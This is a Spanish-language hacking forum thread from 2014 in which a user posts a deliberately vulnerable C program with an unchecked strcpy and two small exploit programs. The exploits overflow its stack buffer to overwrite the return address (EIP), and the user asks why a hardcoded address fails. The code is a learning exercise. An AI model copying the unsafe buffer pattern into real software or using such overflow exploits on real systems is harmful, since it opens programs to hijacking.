Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Hacking => Bugs y Exploits => Mensaje iniciado por: Lodos76 en 5 Marzo 2014, 19:31 PM

Título: Sustitución directa del EIP
Publicado por: Lodos76 en 5 Marzo 2014, 19:31 PM
Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c
   /* vuln1.c por Rojodos */
   
   #include <stdio.h>
   #include <string.h>
   
   int main (int argc, char **argv)
   {
   char buffer[64]; //Declaramos un array con 64 bytes de espacio
   
   if (argc < 2)
   {
   printf ("Introduzca un argumento al programa\n");
   return 0;
   }
   
   strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
   
   return 0;
   }


Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}



exploit2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B

strcat(evilbuffer, EIP);

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}
Título: Re: Sustitución directa del EIP
Publicado por: MCKSys Argentina en 5 Marzo 2014, 23:56 PM
Cita de: Lodos76 en  5 Marzo 2014, 19:31 PM
Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

No. En exploit2.c estas declarando la variable EIP[] con lo que haces que el stack frame crezca (4 bytes mas).

No tengo aqui para compilar, pero prueba dejando las T's en el 2° ejemplo...

Saludos!

EDIT:

Olvidate de lo anterior. Necesito dormir...  :P
Título: Re: Sustitución directa del EIP
Publicado por: Lodos76 en 6 Marzo 2014, 01:53 AM
??
exploit2.c está explotando a vuln1.c, y en exploit2.c la variable EIP se concatena a evilbuffer, así que la pila no se modifica.
De todos modos lo he probado y me ha salido lo mismo, ya que no pusheo datos, sinó que los meto en la pila mediante un BoF (sustituyo lo que había anteriormente :D).

Salu2
Título: Re: Sustitución directa del EIP
Publicado por: Lodos76 en 10 Marzo 2014, 00:34 AM
borrar